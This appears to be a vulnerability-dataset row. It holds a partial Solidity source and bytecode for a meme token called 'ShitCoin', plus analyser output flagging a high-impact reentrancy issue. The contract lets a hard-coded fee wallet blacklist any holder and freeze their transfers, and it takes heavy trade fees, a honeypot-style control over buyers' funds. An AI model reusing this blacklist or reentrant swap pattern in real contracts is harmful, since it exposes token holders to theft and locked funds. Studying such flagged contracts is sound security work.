uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "ShitCoin https://t.me/degenshitcoin";
string private constant _symbol = "ShitCoin";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x5EF294f136dBE2D082ec5569dA914767Aac5321A);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 3;
_feeAddr2 = 10;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
_feeAddr2 = 15;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = 50000000000000000 * 10**9;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function KillBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function ReviveAddress(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b411461033c578063a9059cbb14610367578063c3c8cd80146103a4578063c9567bf9146103bb578063dd62ed3e146103d257610114565b806370a0823114610294578063715018a6146102d157806375a458cc146102e85780638da5cb5b1461031157610114565b806323b872dd116100dc57806323b872dd146101d55780632ab3083814610212578063313ce567146102295780635932ead1146102545780636fc3eaec1461027d57610114565b806306fdde0314610119578063095ea7b3146101445780630defe7ff1461018157806318160ddd146101aa57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b91906128d3565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906124a6565b61042f565b60405161017891906128b8565b60405180910390f35b34801561018d57600080fd5b506101a860048036038101906101a391906123c9565b61044d565b005b3480156101b657600080fd5b506101bf610509565b6040516101cc9190612a35565b60405180910390f35b3480156101e157600080fd5b506101fc60048036038101906101f79190612457565b61051d565b60405161020991906128b8565b60405180910390f35b34801561021e57600080fd5b506102276105f6565b005b34801561023557600080fd5b5061023e61069f565b60405161024b9190612aaa565b60405180910390f35b34801561026057600080fd5b5061027b600480360381019061027691906124e2565b6106a8565b005b34801561028957600080fd5b5061029261075a565b005b3480156102a057600080fd5b506102bb60048036038101906102b691906123c9565b6107cc565b6040516102c89190612a35565b60405180910390f35b3480156102dd57600080fd5b506102e661081d565b005b3480156102f457600080fd5b5061030f600480360381019061030a91906123c9565b610970565b005b34801561031d57600080fd5b50610326610a2c565b60405161033391906127ea565b60405180910390f35b34801561034857600080fd5b50610351610a55565b60405161035e91906128d3565b60405180910390f35b34801561037357600080fd5b5061038e600480360381019061038991906124a6565b610a92565b60405161039b91906128b8565b60405180910390f35b3480156103b057600080fd5b506103b9610ab0565b005b3480156103c757600080fd5b506103d0610b2a565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061241b565b61108c565b6040516104069190612a35565b60405180910390f35b606060405180606001604052806023815260200161304a60239139905090565b600061044361043c611113565b848461111b565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048e611113565b73ffffffffffffffffffffffffffffffffffffffff16146104ae57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006b033b2e3c9fd0803ce8000000905090565b600061052a8484846112e6565b6105eb84610536611113565b6105e68560405180606001604052806028815260200161302260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059c611113565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118549092919063ffffffff16565b61111b565b600190509392505050565b6105fe611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461068b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068290612995565b60405180910390fd5b6a295be96e64066972000000600f81905550565b60006009905090565b6106b0611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073490612995565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079b611113565b73ffffffffffffffffffffffffffffffffffffffff16146107bb57600080fd5b60004790506107c9816118b8565b50565b6000610816600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611924565b9050919050565b610825611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a990612995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109b1611113565b73ffffffffffffffffffffffffffffffffffffffff16146109d157600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f53686974436f696e000000000000000000000000000000000000000000000000815250905090565b6000610aa6610a9f611113565b84846112e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af1611113565b73ffffffffffffffffffffffffffffffffffffffff1614610b1157600080fd5b6000610b1c306107cc565b9050610b2781611992565b50565b610b32611113565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690612995565b60405180910390fd5b600e60149054906101000a900460ff1615610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0690612a15565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061111b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce857600080fd5b505afa158015610cfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2091906123f2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8257600080fd5b505afa158015610d96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dba91906123f2565b6040518363ffffffff1660e01b8152600401610dd7929190612805565b602060405180830381600087803b158015610df157600080fd5b505af1158015610e05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2991906123f2565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb2306107cc565b600080610ebd610a2c565b426040518863ffffffff1660e01b8152600401610edf96959493929190612857565b6060604051808303818588803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f319190612534565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506a108b2a2c28029094000000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161103692919061282e565b602060405180830381600087803b15801561105057600080fd5b505af1158015611064573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611088919061250b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611182906129f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290612935565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d99190612a35565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134d906129d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bd906128f5565b60405180910390fd5b60008111611409576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611400906129b5565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561146057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611844576003600a81905550600a600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561154e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115a45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115bc5750600e60179054906101000a900460ff165b1561166c57600f548111156115d057600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061161b57600080fd5b600a426116289190612b1a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117175750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561176d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611783576003600a81905550600f600b819055505b600061178e306107cc565b9050600e60159054906101000a900460ff161580156117fb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118135750600e60169054906101000a900460ff165b156118425761182181611992565b600047905067016345785d8a00008111156118405761183f476118b8565b5b505b505b61184f838383611c8c565b505050565b600083831115829061189c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189391906128d3565b60405180910390fd5b50600083856118ab9190612bfb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611920573d6000803e3d6000fd5b5050565b600060085482111561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290612915565b60405180910390fd5b6000611975611c9c565b905061198a8184611cc790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611a1e5781602001602082028036833780820191505090505b5090503081600081518110611a5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611afe57600080fd5b505afa158015611b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3691906123f2565b81600181518110611b70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461111b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c3b959493929190612a50565b600060405180830381600087803b158015611c5557600080fd5b505af1158015611c69573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b611c97838383611d11565b505050565b6000806000611ca9611edc565b91509150611cc08183611cc790919063ffffffff16565b9250505090565b6000611d0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f47565b905092915050565b600080600080600080611d2387611faa565b955095509550955095509550611d8186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e62816120ba565b611e6c8483612177565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ec99190612a35565b60405180910390a3505050505050505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611f186b033b2e3c9fd0803ce8000000600854611cc790919063ffffffff16565b821015611f3a576008546b033b2e3c9fd0803ce8000000935093505050611f43565b81819350935050505b9091565b60008083118290611f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8591906128d3565b60405180910390fd5b5060008385611f9d9190612b70565b9050809150509392505050565b6000806000806000806000806000611fc78a600a54600b546121b1565b9250925092506000611fd7611c9c565b90506000806000611fea8e878787612247565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061205483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611854565b905092915050565b600080828461206b9190612b1a565b9050838110156120b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a790612955565b60405180910390fd5b8091505092915050565b60006120c4611c9c565b905060006120db82846122d090919063ffffffff16565b905061212f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61218c8260085461201290919063ffffffff16565b6008819055506121a78160095461205c90919063ffffffff16565b6009819055505050565b6000806000806121dd60646121cf888a6122d090919063ffffffff16565b611cc790919063ffffffff16565b9050600061220760646121f9888b6122d090919063ffffffff16565b611cc790919063ffffffff16565b9050600061223082612222858c61201290919063ffffffff16565b61201290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061226085896122d090919063ffffffff16565b9050600061227786896122d090919063ffffffff16565b9050600061228e87896122d090919063ffffffff16565b905060006122b7826122a9858761201290919063ffffffff16565b61201290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156122e35760009050612345565b600082846122f19190612ba1565b90508284826123009190612b70565b14612340576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233790612975565b60405180910390fd5b809150505b92915050565b60008135905061235a81612fdc565b92915050565b60008151905061236f81612fdc565b92915050565b60008135905061238481612ff3565b92915050565b60008151905061239981612ff3565b92915050565b6000813590506123ae8161300a565b92915050565b6000815190506123c38161300a565b92915050565b6000602082840312156123db57600080fd5b60006123e98482850161234b565b91505092915050565b60006020828403121561240457600080fd5b600061241284828501612360565b91505092915050565b6000806040838503121561242e57600080fd5b600061243c8582860161234b565b925050602061244d8582860161234b565b9150509250929050565b60008060006060848603121561246c57600080fd5b600061247a8682870161234b565b935050602061248b8682870161234b565b925050604061249c8682870161239f565b9150509250925092565b600080604083850312156124b957600080fd5b60006124c78582860161234b565b92505060206124d88582860161239f565b9150509250929050565b6000602082840312156124f457600080fd5b600061250284828501612375565b91505092915050565b60006020828403121561251d57600080fd5b600061252b8482850161238a565b91505092915050565b60008060006060848603121561254957600080fd5b6000612557868287016123b4565b9350506020612568868287016123b4565b9250506040612579868287016123b4565b9150509250925092565b600061258f838361259b565b60208301905092915050565b6125a481612c2f565b82525050565b6125b381612c2f565b82525050565b60006125c482612ad5565b6125ce8185612af8565b93506125d983612ac5565b8060005b8381101561260a5781516125f18882612583565b97506125fc83612aeb565b9250506001810190506125dd565b5085935050505092915050565b61262081612c41565b82525050565b61262f81612c84565b82525050565b600061264082612ae0565b61264a8185612b09565b935061265a818560208601612c96565b61266381612d27565b840191505092915050565b600061267b602383612b09565b915061268682612d38565b604082019050919050565b600061269e602a83612b09565b91506126a982612d87565b604082019050919050565b60006126c1602283612b09565b91506126cc82612dd6565b604082019050919050565b60006126e4601b83612b09565b91506126ef82612e25565b602082019050919050565b6000612707602183612b09565b915061271282612e4e565b604082019050919050565b600061272a602083612b09565b915061273582612e9d565b602082019050919050565b600061274d602983612b09565b915061275882612ec6565b604082019050919050565b6000612770602583612b09565b915061277b82612f15565b604082019050919050565b6000612793602483612b09565b915061279e82612f64565b604082019050919050565b60006127b6601783612b09565b91506127c182612fb3565b602082019050919050565b6127d581612c6d565b82525050565b6127e481612c77565b82525050565b60006020820190506127ff60008301846125aa565b92915050565b600060408201905061281a60008301856125aa565b61282760208301846125aa565b9392505050565b600060408201905061284360008301856125aa565b61285060208301846127cc565b9392505050565b600060c08201905061286c60008301896125aa565b61287960208301886127cc565b6128866040830187612626565b6128936060830186612626565b6128a060808301856125aa565b6128ad60a08301846127cc565b979650505050505050565b60006020820190506128cd6000830184612617565b92915050565b600060208201905081810360008301526128ed8184612635565b905092915050565b6000602082019050818103600083015261290e8161266e565b9050919050565b6000602082019050818103600083015261292e81612691565b9050919050565b6000602082019050818103600083015261294e816126b4565b9050919050565b6000602082019050818103600083015261296e816126d7565b9050919050565b6000602082019050818103600083015261298e816126fa565b9050919050565b600060208201905081810360008301526129ae8161271d565b9050919050565b600060208201905081810360008301526129ce81612740565b9050919050565b600060208201905081810360008301526129ee81612763565b9050919050565b60006020820190508181036000830152612a0e81612786565b9050919050565b60006020820190508181036000830152612a2e816127a9565b9050919050565b6000602082019050612a4a60008301846127cc565b92915050565b600060a082019050612a6560008301886127cc565b612a726020830187612626565b8181036040830152612a8481866125b9565b9050612a9360608301856125aa565b612aa060808301846127cc565b9695505050505050565b6000602082019050612abf60008301846127db565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b2582612c6d565b9150612b3083612c6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b6557612b64612cc9565b5b828201905092915050565b6000612b7b82612c6d565b9150612b8683612c6d565b925082612b9657612b95612cf8565b5b828204905092915050565b6000612bac82612c6d565b9150612bb783612c6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612bf057612bef612cc9565b5b828202905092915050565b6000612c0682612c6d565b9150612c1183612c6d565b925082821015612c2457612c23612cc9565b5b828203905092915050565b6000612c3a82612c4d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c8f82612c6d565b9050919050565b60005b83811015612cb4578082015181840152602081019050612c99565b83811115612cc3576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612fe581612c2f565b8114612ff057600080fd5b50565b612ffc81612c41565b811461300757600080fd5b50565b61301381612c6d565b811461301e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636553686974436f696e2068747470733a2f2f742e6d652f646567656e73686974636f696ea264697066735822122091726e377e5a956db4f69b2e3e3d4edee23fb65bdce0fbd33cc230727621d1a164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,523 |
